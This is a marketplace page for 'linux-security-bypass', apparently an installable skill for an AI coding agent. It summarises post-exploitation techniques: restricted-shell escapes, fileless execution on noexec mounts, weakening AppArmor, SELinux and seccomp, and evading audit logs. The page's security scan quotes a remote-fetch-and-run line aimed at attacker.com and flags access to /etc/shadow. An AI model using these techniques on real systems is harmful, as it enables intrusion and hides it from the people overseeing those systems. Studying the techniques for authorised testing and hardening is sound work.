Back to Skills

linux-security-bypass

Linux security mechanism bypass playbook. Use when facing restricted bash/rbash, read-only or noexec filesystems, AppArmor, SELinux, seccomp filters, or audit logging that must be evaded during post-exploitation.

1,311stars179forksUpdated 7/8/2026

Security Assessment

High Risk(35/100)

Detected risks:

Remote Code Execution([SKILL.md] curl -sL https://attacker.com/payload | bash)
Sensitive File Access([SKILL.md] /etc/shadow, [SKILL.md] .env)
Command Injection([SKILL.md] child_process)
Security Score35/100

About linux-security-bypass

An offensive-security playbook for evading Linux security controls during post-exploitation, intended for penetration testers and red teams operating in authorized engagements. It applies when a foothold is constrained by a restricted shell, a read-only or noexec filesystem, AppArmor, SELinux, seccomp filters, or audit logging. The content is organized by mechanism and routes to related privilege-escalation, container-escape, lateral-movement, and command-injection material once a restriction is broken.

Restricted-shell (rbash) escape is covered through SSH forcing an alternate shell, editor escapes in vi and ed, interpreter spawns from Python, Perl, Ruby, Lua, PHP, Node.js, and AWK, and environment tricks such as BASH_CMDS and env. For read-only or noexec filesystems it documents fileless and indirect execution: DDexec overwriting process memory through /proc/self/mem, memfd_create in-memory file descriptors, running binaries via the dynamic linker ld.so, executing scripts (which run even under noexec because the interpreter reads them as data), and locating writable, exec-capable mounts like /dev/shm.

The remaining sections enumerate and weaken mandatory access controls. AppArmor coverage includes profile enumeration, complain-mode detection, and common profile gaps. SELinux coverage checks enforcing versus permissive mode, permissive domains, contexts, and dangerous booleans. Seccomp coverage reads the filter status, explains the x86 versus x86_64 architecture-confusion bypass where a 32-bit binary uses different syscall numbers, notes abusable allowed syscalls, and references known kernel bugs. Audit evasion begins with timestamp manipulation via touch. Described factually, the same knowledge helps defenders understand and harden against these techniques.

FAQ

What restricted-shell escapes does it cover?

SSH forcing an alternate shell, editor escapes (vi, ed), interpreter-based spawns from Python, Perl, Ruby, Lua, PHP, Node.js, and AWK, plus environment tricks like BASH_CMDS and env.

How does it execute binaries on a noexec filesystem?

Through fileless and indirect methods: DDexec via /proc/self/mem, memfd_create in-memory file descriptors, ld.so direct execution, running scripts that the interpreter reads as data, and using writable exec-capable mounts such as /dev/shm.

Which security mechanisms are addressed?

Restricted bash, noexec/read-only filesystems, AppArmor, SELinux, and seccomp, along with audit-logging evasion.

What is the architecture-confusion seccomp bypass?

Filters that only check x86_64 syscall numbers can be evaded by a 32-bit binary using the different x86 syscall numbers (for example execve 11 instead of 59) when the filter lacks an AUDIT_ARCH_X86 check.

Who is this content intended for?

It is an expert offensive-security playbook for authorized penetration testing and red-team post-exploitation; the same techniques inform defenders on how to detect and harden against them.

Install linux-security-bypass

Download and extract the skill files to your .claude/skills/ directory.

Quick Setup:

  1. Copy the skill folder to .claude/skills/
  2. Claude will automatically detect and use the skill